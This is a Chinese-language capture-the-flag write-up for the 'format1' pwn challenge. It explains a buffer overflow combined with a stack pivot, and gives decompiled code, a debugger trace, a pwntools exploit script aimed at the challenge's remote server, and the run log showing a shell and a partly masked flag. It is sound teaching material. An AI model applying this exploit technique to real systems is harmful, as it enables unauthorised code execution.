# 解题思路
## 安全机制检查
```
healer@kali:~/Desktop/format1$ readelf -h format1
ELF Header:
Magic: 7f 45 4c 46 01 01 01 03 00 00 00 00 00 00 00 00
Class: ELF32
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - GNU
ABI Version: 0
Type: EXEC (Executable file)
Machine: Intel 80386
Version: 0x1
Entry point address: 0x8048db8
Start of program headers: 52 (bytes into file)
Start of section headers: 864780 (bytes into file)
Flags: 0x0
Size of this header: 52 (bytes)
Size of program headers: 32 (bytes)
Number of program headers: 6
Size of section headers: 40 (bytes)
Number of section headers: 31
Section header string table index: 28
healer@kali:~/Desktop/format1$ checksec format1
[*] '/home/healer/Desktop/format1/format1'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
```
## 漏洞利用方式描述
函数的溢出点在auth函数中
```c
_BOOL4 __cdecl auth(int lenth)
{
char v2; // [sp+14h] [bp-14h]@1
char *s2; // [sp+1Ch] [bp-Ch]@1
int v4; // [sp+20h] [bp-8h]@1
memcpy(&v4, &input, lenth);
s2 = (char *)calc_md5((int)&v2, 12);
printf("hash : %s\n", s2);
return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;
}
```
shell函数
```c
void __noreturn correct()
{
if ( input == 0xDEADBEEF )
{
puts("Congratulation! you are good!");
system("/bin/sh");
}
exit(0);
}
.text:0804925F correct proc near ; CODE XREF: main+FFp
.text:0804925F
.text:0804925F var_C = dword ptr -0Ch
.text:0804925F
.text:0804925F push ebp
.text:08049260 mov ebp, esp
.text:08049262 sub esp, 28h
.text:08049265 mov [ebp+var_C], offset input
.text:0804926C mov eax, [ebp+var_C]
.text:0804926F mov eax, [eax]
.text:08049271 cmp eax, 0DEADBEEFh
.text:08049276 jnz short loc_8049290
.text:08049278 mov dword ptr [esp], offset aCongratulation ; "Congratulation! you are good!"
.text:0804927F call puts
// 关键利用点
.text:08049284 mov dword ptr [esp], offset aBinSh ; "/bin/sh"
.text:0804928B call system
.text:08049290
.text:08049290 loc_8049290: ; CODE XREF: correct+17j
.text:08049290 mov dword ptr [esp], 0
.text:08049297 call exit
.text:08049297 correct endp
```
参考下面的内容可以发现
通过配合栈溢出和构造input内存储的数据可以实现在main函数返回时,指令leave会导致将esp指向input数据区,并且将input数据的前4个字节的数据弹出栈,之后栈顶的位置实际上时input+4的位置,此位置是构造的shell函数执行地址,因此实际使用的攻击方式为:缓冲区溢出+栈迁移,此题是典型的栈迁移的攻击题目,由于题目构造的比较巧妙,所以利用和分析相对简单,关键是要想到这个办法。
## 关键利用点锁定
```
pwndbg> si
0x08049425 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
EAX 0x0
EBX 0x80481d0 (_init) ◂— push ebx
ECX 0x32
EDX 0x80da684 ◂— cmp byte ptr [edi], dh /* 'f87cd601aa7fedca99018a8be88eda34' */
EDI 0x811b00c (_GLOBAL_OFFSET_TABLE_+12) —▸ 0x80a6470 (__stpcpy_sse2) ◂— mov edx, dword ptr [esp + 4]
ESI 0x0
*EBP 0x61616161 ('aaaa')
*ESP 0x811eb44 (input+4) —▸ 0x8049284 (correct+37) ◂— mov dword ptr [esp], 0x80da66f
*EIP 0x8049425 (main+280) ◂— ret
──────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────
0x8049407 <main+250> cmp eax, 1
0x804940a <main+253> jne main+274 <main+274>
↓
0x804941f <main+274> mov eax, 0
0x8049424 <main+279> leave
► 0x8049425 <main+280> ret <0x8049284; correct+37>
↓
0x8049284 <correct+37> mov dword ptr [esp], 0x80da66f
0x804928b <correct+44> call system <system>
0x8049290 <correct+49> mov dword ptr [esp], 0
0x8049297 <correct+56> call exit <exit>
0x804929c <auth> push ebp
0x804929d <auth+1> mov ebp, esp
──────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ esp 0x811eb44 (input+4) —▸ 0x8049284 (correct+37) ◂— mov dword ptr [esp], 0x80da66f
01:0004│ 0x811eb48 (input+8) —▸ 0x811eb40 (input) ◂— 0x61616161 ('aaaa')
02:0008│ 0x811eb4c (input+12) ◂— 0x0
03:000c│ 0x811eb50 (OPENSSL_ia32cap_P) ◂— 0x4f8bffff
04:0010│ 0x811eb54 (OPENSSL_ia32cap_P+4) —▸ 0xfffa3203 ◂— 0x0
05:0014│ 0x811eb58 ◂— 0x0
06:0018│ 0x811eb5c ◂— 0x0
07:001c│ 0x811eb60 (_dl_tls_static_used) ◂— 0x28 /* '(' */
────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
► f 0 0x8049425 main+280
──────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg>
```
## 攻击脚本
```python
from pwn import *
import base64
context.log_level='debug'
context.terminal = ['terminator', '-x', 'sh', '-c']
io = remote("111.200.241.244",56100)
# io = process("./format1")
elf = ELF("./format1")
context(arch = "i386", os = 'linux')
system_addr = 0x8049284
input_addr = 0x811EB40
# gdb.attach(io,"b * 0x804929c")
io.recvuntil("Authenticate : ")
payload = b"a"*4 + p32(system_addr) + p32(input_addr)
io.sendline(base64.b64encode(payload))
io.sendline(payload)
io.interactive()
```
## 脚本执行过程
```
healer@kali:~/Desktop/format1$ python3 exp.py
[+] Opening connection to 111.200.241.244 on port 56100: Done
[DEBUG] '/home/healer/Desktop/format1/format1' is statically linked, skipping GOT/PLT symbols
[*] '/home/healer/Desktop/format1/format1'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[DEBUG] Received 0xf bytes:
b'Authenticate : '
[DEBUG] Sent 0x11 bytes:
b'YWFhYYSSBAhA6xEI\n'
[DEBUG] Sent 0xd bytes:
00000000 61 61 61 61 84 92 04 08 40 eb 11 08 0a │aaaa│····│@···│·│
0000000d
[*] Switching to interactive mode
[DEBUG] Received 0x28 bytes:
b'hash : 7dcd57062c81b032a56551ed3c59be2d\n'
hash : 7dcd57062c81b032a56551ed3c59be2d
[DEBUG] Received 0xc bytes:
b'/bin/sh: 1: '
/bin/sh: 1: $ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x18 bytes:
00000000 61 61 61 61 84 92 04 08 40 eb 11 08 3a 20 6e 6f │aaaa│····│@···│: no│
00000010 74 20 66 6f 75 6e 64 0a │t fo│und·│
00000018
aaaa\x84\x92\x04@\xe: not found
[DEBUG] Received 0x25 bytes:
b'bin\n'
b'dev\n'
b'flag\n'
b'format2\n'
b'lib\n'
b'lib32\n'
b'lib64\n'
bin
dev
flag
format2
lib
lib32
lib64
$ cat flag
[DEBUG] Sent 0x9 bytes:
b'cat flag\n'
[DEBUG] Received 0x2d bytes:
b'cyberpeace{**************f35ff77b4762d8}\n'
cyberpeace{**************f35ff77b4762d8}
```